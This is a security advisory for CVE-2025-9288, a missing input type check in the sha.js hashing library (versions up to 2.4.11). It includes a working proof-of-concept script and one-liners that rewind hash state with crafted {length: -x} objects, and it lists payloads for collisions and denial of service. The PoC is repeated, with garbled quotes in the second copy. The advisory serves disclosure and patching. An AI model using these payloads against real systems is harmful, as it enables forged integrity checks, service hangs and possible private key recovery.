Security
Headlines
HeadlinesLatestCVEs

Headline

GHSA-95m3-7q98-8xr5: sha.js is missing type checks leading to hash rewind and passing on crafted data

Summary

This is the same as GHSA-cpq7-6gpm-g9rc but just for sha.js, as it has its own implementation.

Missing input type checks lead to it calculating invalid values, hanging, rewinding the hash state (including turning a tagged hash into an untagged hash) on malicious JSON-stringifyable input

Details

See PoC

PoC

const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]])

const sha = require('sha.js')
const { randomBytes } = require('crypto')

const sha256 = (...messages) => {
  const hash = sha('sha256')
  messages.forEach((m) => hash.update(m))
  return hash.digest('hex')
}

const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever

const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')
const receivedMessage = JSON.parse(payload) // e.g. over network, whatever

console.log(sha256(...validMessage))
console.log(sha256(...receivedMessage))
console.log(receivedMessage[0])

Output:

638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
Hashed input means safe

Or just:

> require('sha.js')('sha256').update('foo').digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
> require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'

Impact

  1. Hash state rewind on {length: -x}. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash.
  2. Value miscalculation, e.g. a collision is generated by { length: buf.length, ...buf, 0: buf[0] + 256 } This will result in the same hash as of buf, but can be treated by other code differently (e.g. bn.js)
  3. DoS on {length:'1e99'}
  4. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration)
ghsa
#js#git
  1. GitHub Advisory Database
  2. GitHub Reviewed
  3. CVE-2025-9288

sha.js is missing type checks leading to hash rewind and passing on crafted data

Critical severity GitHub Reviewed Published Aug 20, 2025 in browserify/sha.js • Updated Aug 21, 2025

Affected versions

<= 2.4.11

Summary

This is the same as GHSA-cpq7-6gpm-g9rc but just for sha.js, as it has its own implementation.

Missing input type checks lead to it calculating invalid values, hanging, rewinding the hash state (including turning a tagged hash into an untagged hash) on malicious JSON-stringifyable input

Details

See PoC

PoC

const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, […data]])

const sha = require(‘sha.js’) const { randomBytes } = require(‘crypto’)

const sha256 = (…messages) => { const hash = sha(‘sha256’) messages.forEach((m) => hash.update(m)) return hash.digest(‘hex’) }

const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever

const payload = forgeHash(Buffer.concat(validMessage), ‘Hashed input means safe’) const receivedMessage = JSON.parse(payload) // e.g. over network, whatever

console.log(sha256(…validMessage)) console.log(sha256(…receivedMessage)) console.log(receivedMessage[0])

Output:

638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
Hashed input means safe

Or just:

> require(‘sha.js’)(‘sha256’).update(‘foo’).digest(‘hex’) ‘2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae’

require(‘sha.js’)(‘sha256’).update(‘fooabc’).update({length:-3}).digest(‘hex’) ‘2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae’

Impact

  1. Hash state rewind on {length: -x}. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash.
  2. Value miscalculation, e.g. a collision is generated by { length: buf.length, …buf, 0: buf[0] + 256 }
    This will result in the same hash as of buf, but can be treated by other code differently (e.g. bn.js)
  3. DoS on {length:’1e99’}
  4. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration)

References

  • GHSA-95m3-7q98-8xr5
  • https://nvd.nist.gov/vuln/detail/CVE-2025-9288
  • browserify/sha.js#78
  • browserify/sha.js@f2a258e
  • https://www.cve.org/CVERecord?id=CVE-2025-9287

Published to the GitHub Advisory Database

Aug 21, 2025

Last updated

Aug 21, 2025

ghsa: Latest News

GHSA-8hmm-4crw-vm2c: @musistudio/claude-code-router has improper CORS configuration